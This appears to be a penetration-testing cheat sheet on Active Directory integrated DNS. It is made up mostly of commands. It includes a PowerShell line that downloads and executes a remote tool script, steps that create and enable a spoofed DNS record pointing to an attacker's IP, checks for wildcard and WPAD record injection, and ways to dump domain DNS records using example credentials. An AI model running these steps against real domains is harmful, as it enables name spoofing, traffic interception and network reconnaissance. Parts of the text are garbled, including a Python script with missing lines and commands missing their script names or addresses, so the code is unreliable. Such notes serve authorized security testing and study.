Active Directory integrated DNS
0. Load tools:
PS > IEX(New-Object Net.WebClient).DownloadString("")
1. Check if you are able to modify (add) AD DNS names:
PS > Get-ADIDNSZone -Credential $cred -Verbose
PS > Get-ADIDNSPermission -Credential $cred -Verbose | ? {$_.Principal -eq 'NT AUTHORITY\Authenticated Users'}
Principal : NT AUTHORITY\Authenticated Users
IdentityReference : S-1-5-11
ActiveDirectoryRights : CreateChild
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
This CreateChild permission is what we need.
2. Create, configure the new DNS name that could be likely exploited for spoofing with Attacker's IP and enable it. I chose pc01 which was found in DNS cache:
PS > New-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose
PS > $dnsRecord = New-DNSRecordArray -Type A -Data
PS > Set-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Value $dnsRecord -Credential $cred -Verbose
PS > Enable-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose
3. Check the newly created DNS object and try to resolve it. AD will need some time (~180 seconds) to sync LDAP changes via its DNS dynamic updates protocol:
PS > Get-ADIDNSNodeAttribute -Node pc01 -Attribute dnsRecord -Credential $cred -Verbose
PS > Resolve-DNSName pc01
PS > cmd /c ping -n 1 pc01
4. Clean up:
PS > Remove-ADIDNSNode -DomainController dc1 -Node pc01 -Credential $cred -Verbose

ADIDNS Poisoning (Wildcard Injection)

Check if we can perform the attack:
$ python -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' -r '*' --action query DC01.megacorp.local
$ python -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' -r 'wpad' --action query DC01.megacorp.local



$ adidnsdump -u 'megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.megacorp.local -r [--dcfilter]
$ mv records.csv ~/ws/enum/adidns.csv
Check with ldapsearch:
$ ldapsearch -H ldap:// -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b 'DC=megacorp.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=megacorp,DC=local' '(objectClass=*)' dnsRecord dNSTombstoned name
If you need to dump a child domain ADIDNS (say child.megacorp.local), then you may want to use --zone and --forest options:
# Will dump records from DC=megacorp.local,CN=MicrosoftDNS,DC=ForestDnsZones,DC=megacorp,DC=local
$ adidnsdump -u 'child.megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.child.megacorp.local --zone megacorp.local --forest -r
# Will attempt to dump records from DC=child.megacorp.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=child,DC=megacorp,DC=local (and may fail)
$ adidnsdump -u 'child.megacorp.local\snovvcrash' -p 'Passw0rd!' DC01.child.megacorp.local -r
Merge all the IPs into /24 CIDRs with a Python script:
#!/usr/bin/env python3
Merge standalone IPs into CIDRs.
$ cat ~/ws/enum/adidns.csv | awk -F, '{print $3}' > ip.lst
$ | sort -u -t'.' -k1,1n -k2,2n -k3,3n -k4,4n | grep -e '^192' -e '^172' -e '^10'
import netaddr
iplst = []
with open('ip.lst', 'r') as fd:
for line in fd:
ip = line.rstrip('\n')
except netaddr.core.AddrFormatError:
for net in netaddr.cidr_merge(iplst):
Or using mapcidr:
$ eget -qs linux/amd64 "projectdiscovery/mapcidr" --to mapcidr
$ cat ~/ws/enum/adidns.csv | awk -F, '{print $3}' | egrep '^[0-9]' | ./mapcidr -aa -silent | ./mapcidr -s -silent
$ cme ldap -u snovvcrash -p 'Passw0rd!' -M get-network -o ALL=true


Dump ADIDNS using PowerShell and DnsServer module:
PS > Import-Module DnsServer
PS > Get-DnsServerZone -ComputerName DC01 | % {Get-DnsServerResourceRecord -ComputerName DC01 -ZoneName $_.ZoneName -RRType A} | ft -Wrap -AutoSize | tee adidns.txt
Last modified 8mo ago